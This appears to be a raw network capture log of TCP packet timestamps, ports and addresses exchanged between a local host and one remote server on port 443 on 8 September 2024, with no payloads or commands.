Sep 8, 2024 09:53:43.336314917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.336321115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.336389065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.339863062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.339879036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.339936018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.339943886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.339979887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419076920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419099092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419151068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419162035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419183016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419202089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419450998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419464111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419511080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419516087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419553041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419677973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419691086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419722080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419727087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419753075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419771910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.419943094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419959068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.419996023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.420000076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.420027971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.420044899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.420406103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.420418024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.420466900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.420470953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.420504093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.423093081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.423108101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.423156977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.423161983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.423197031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.426763058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.426781893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.426826000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.426831007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.426871061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.495062113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.495090008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.495160103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.495176077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.495218039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.505172014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505194902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505254030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.505260944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505295992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.505403042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505418062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505464077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.505469084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505503893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.505784988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505799055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505844116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.505848885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.505881071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.506356001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.506371021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.506418943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.506424904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.506457090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.507215023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.507235050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.507287025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.507296085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.507332087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.510004997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.510020018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.510071039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.510076046 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.510111094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.513679981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.513694048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.513750076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.513756037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.513794899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.582236052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.582262039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.582406044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.582425117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.582465887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.592271090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.592287064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.592477083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.592490911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.592502117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.592511892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.592525005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.592565060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.593039036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.593053102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.593096018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.593102932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.593126059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.593508959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.593527079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.593559980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.593569040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.593596935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.594042063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.594054937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.594103098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.594114065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.597526073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.597544909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.597630978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.597637892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.601038933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.601052046 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.601119995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.601128101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.643356085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.669090033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.669117928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.669209957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.669215918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.669254065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.679050922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679066896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679239988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.679244995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679289103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.679511070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679524899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679584980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.679589987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679634094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.679840088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679853916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679908991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.679914951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.679953098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.680424929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.680444956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.680509090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.680514097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.680552006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.681194067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.681206942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.681263924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.681269884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.681313038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.684042931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.684056997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.684107065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.684113026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.684161901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.687645912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.687664032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.687716961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.687721968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.687757969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.755959034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.755976915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.756045103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.756068945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.756108999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.765949965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.765969038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766009092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.766016006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766045094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.766057014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.766347885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766360998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766406059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.766412020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766442060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.766805887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766818047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766872883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.766877890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.766912937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.767476082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.767489910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.767540932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.767546892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.767592907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.768081903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.768096924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.768150091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.768156052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.768193007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.771317005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.771328926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.771486998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.771492958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.771533012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.774741888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.774755001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.774811983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.774816990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.774852991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854424953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854477882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854527950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854538918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854553938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854563951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854582071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854583025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854595900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854613066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854655027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854803085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854815960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854866982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.854872942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.854911089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.855180025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.855199099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.855252028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.855257988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.855295897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.855643034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.855655909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.855703115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.855709076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.855742931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.856087923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.856100082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.856146097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.856152058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.856187105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.859117031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.859133005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.859184980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.859189987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.859224081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.862101078 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.862119913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.862159014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.862164974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.862189054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.862205982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941066980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941092968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941159964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941170931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941200018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941210985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941220045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941231012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941246033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941282988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941562891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941576958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941622972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941627979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941663980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941859961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941873074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941924095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.941929102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.941982031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.942209005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.942222118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.942276001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.942281961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.942321062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.942617893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.942632914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.942683935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.942688942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.942733049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.945856094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.945868969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.945923090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.945929050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.945971012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.948765993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.948780060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.948832035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:43.948837996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:43.948877096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028042078 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028059006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028110027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028120995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028135061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028150082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028562069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028579950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028611898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028618097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028642893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028661966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028811932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028831005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028868914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.028873920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.028904915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029151917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029164076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029205084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029208899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029232979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029246092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029473066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029485941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029530048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029536009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029572010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029733896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029752016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029786110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029789925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.029814959 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.029831886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.033654928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.033668995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.033735037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.033745050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.033783913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.035968065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.035984039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.036055088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.036061049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.036103010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.115638018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.115659952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.115724087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.115765095 CEST	49710	443	192.168.2.6	185.93.1.250
